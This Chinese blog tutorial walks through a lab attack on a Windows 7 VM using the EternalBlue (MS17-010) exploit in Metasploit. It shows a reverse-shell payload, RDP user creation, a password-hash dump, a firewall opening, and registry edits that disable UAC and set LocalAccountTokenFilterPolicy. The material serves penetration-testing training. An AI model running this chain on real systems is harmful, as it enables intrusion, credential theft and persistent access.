前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >红队/白帽必经之路(20)——实战之使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透[既然是红队,那就对自己狠一点]

红队/白帽必经之路(20)——实战之使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透[既然是红队,那就对自己狠一点]

作者头像
盛透侧视攻城狮
发布2024-12-25 09:22:55
发布2024-12-25 09:22:55
42400
代码可运行
举报
运行总次数:0
代码可运行

1.使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透

环境介绍:

使用 Win7 作为靶机来进行渗透测试
  • Win7 环境说明:IP 地址 192.168.1.56
  • Win7 旗舰版 SP1-64 位系统镜像(内有激活工具):
  • 链接:
  • 提取码:fmg9
  • Win7 旗舰版 SP1-64 位免安装版(已激活)密码:123456,下载解压后用 VMware 直接打开即
  • 链接
  • 提取码:0khh

1.2获取 shell

首先先对主机进行扫描确认是否存在漏洞[MF四件套]
代码语言:javascript
代码运行次数:0
运行
复制
msf6 exploit(multi/handler) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) >  set RHOSTS 192.168.1.56
RHOSTS => 192.168.1.56
msf6 auxiliary(scanner/smb/smb_ms17_010) > ex
exit     exploit  
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit 

靶机存在 MS17-010 漏洞下面开始漏洞利用
代码语言:javascript
代码运行次数:0
运行
复制
msf6 auxiliary(scanner/smb/smb_ms17_010) > use  exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-met
                                             asploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affe
                                             cts Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7
                                              target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects
                                             Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 tar
                                             get machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Se
                                             rver 2008 R2, Windows 7, Windows Embedded Standard 7 target machin
                                             es.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.79.135   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > 
开炮
代码语言:javascript
代码运行次数:0
运行
复制
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56
RHOSTS => 192.168.1.56
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >  set payloda  windows/x64/meterpreter/reverse_tcp
[!] Unknown datastore option: payloda. Did you mean PAYLOAD?
payloda => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload  set payload
[-] The value specified for payload is not valid.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload   windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
这时候get shell了就可以查看权限
代码语言:javascript
代码运行次数:0
运行
复制
meterpreter > getuid

1.3创建一个新用户来远程连接 win7 桌面

启用远程桌面
代码语言:javascript
代码运行次数:0
运行
复制
meterpreter > run post/windows/manage/enable_rdp
创建远程桌面用户
代码语言:javascript
代码运行次数:0
运行
复制
run post/windows/manage/enable_rdp USERNAME=xuegod PASSWORD=123456
代码语言:javascript
代码运行次数:0
运行
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# rdesktop 192.168.1.56
注意:

  • 如果 win7 主机当前管理员用户正在使用会将管理员用户桌面锁定。
回到 Win7 查看提示信息,xuegod 要连接到当前计算机
静待30S后即可远程邓丽界面

1.4关闭主机防护策略并开启后门

回到 MSF 控制台,从 SAM 导出密码哈希
代码语言:javascript
代码运行次数:0
运行
复制
meterpreter > hashdump
取刚创建的 xuegod 用户的 hash 密码

xuegod:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473768 18d4:::

创建一条防火墙规则允许 4444 端口访问网络
补充说明为什么执行该步骤:
  • 否则我们建立 session 时 payload 不能通过4444 端口访问网络导致 session 建立失败
代码语言:javascript
代码运行次数:0
运行
复制
meterpreter > shell
C:\Windows\system32>netsh firewall add portopening TCP 4444 "xuegod" ENABLE ALL
关闭 UAC
代码语言:javascript
代码运行次数:0
运行
复制
meterpreter > shell
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 0 /f


参数说明

ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项
开启 win7 系统主机的默认共享
代码语言:javascript
代码运行次数:0
运行
复制
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

参数详解如下:

cmd.exe /k

启动一个新的命令行窗口并执行命令,执行完命令后,窗口保持打开状态。

%windir%\System32\reg.exe

调用 reg.exe 工具,%windir% 是 Windows 系统目录,reg.exe 用于操作注册表。

ADD

向注册表中添加新的键值对。如果该项已存在,将被覆盖。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system

指定要修改的注册表路径,HKLM 是 Windows 注册表中的主要分支,Policies\system 存储系统的安全策略设置。

/v LocalAccountTokenFilterPolicy

指定要添加或修改的注册表项名称为 LocalAccountTokenFilterPolicy,该项控制是否启用本地账户的访问令牌过滤。

/t REG_DWORD

指定该注册表项的值类型为 REG_DWORD,即 32 位整数。

/d 1

设置 LocalAccountTokenFilterPolicy 的值为 1,表示启用该策略,允许本地账户的访问令牌不被过滤。

/f

强制执行命令,直接覆盖已存在的注册表项值,不会提示确认
补充说明:
  • 默认共享对 Windows 主机的文件共享非常方便,也方便我们利用这个功能,远程执行命令。
退出 shell 返回 meterpreter
代码语言:javascript
代码运行次数:0
运行
复制
C:\Windows\system32>exit
我们先将 session 保存到后台
代码语言:javascript
代码运行次数:0
运行
复制
meterpreter > background

未完待续……,下期敬请期待

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-12-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透
    • 环境介绍:
      • 使用 Win7 作为靶机来进行渗透测试
    • 1.2获取 shell
      • 首先先对主机进行扫描确认是否存在漏洞[MF四件套]
      • 靶机存在 MS17-010 漏洞下面开始漏洞利用
      • 开炮
      • 这时候get shell了就可以查看权限
    • 1.3创建一个新用户来远程连接 win7 桌面
      • 启用远程桌面
      • 创建远程桌面用户
      • 回到 Win7 查看提示信息,xuegod 要连接到当前计算机
      • 静待30S后即可远程邓丽界面
    • 1.4关闭主机防护策略并开启后门
      • 回到 MSF 控制台,从 SAM 导出密码哈希
      • 取刚创建的 xuegod 用户的 hash 密码
      • 创建一条防火墙规则允许 4444 端口访问网络
      • 关闭 UAC
      • 开启 win7 系统主机的默认共享
      • 退出 shell 返回 meterpreter
      • 我们先将 session 保存到后台
  • 未完待续……,下期敬请期待
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档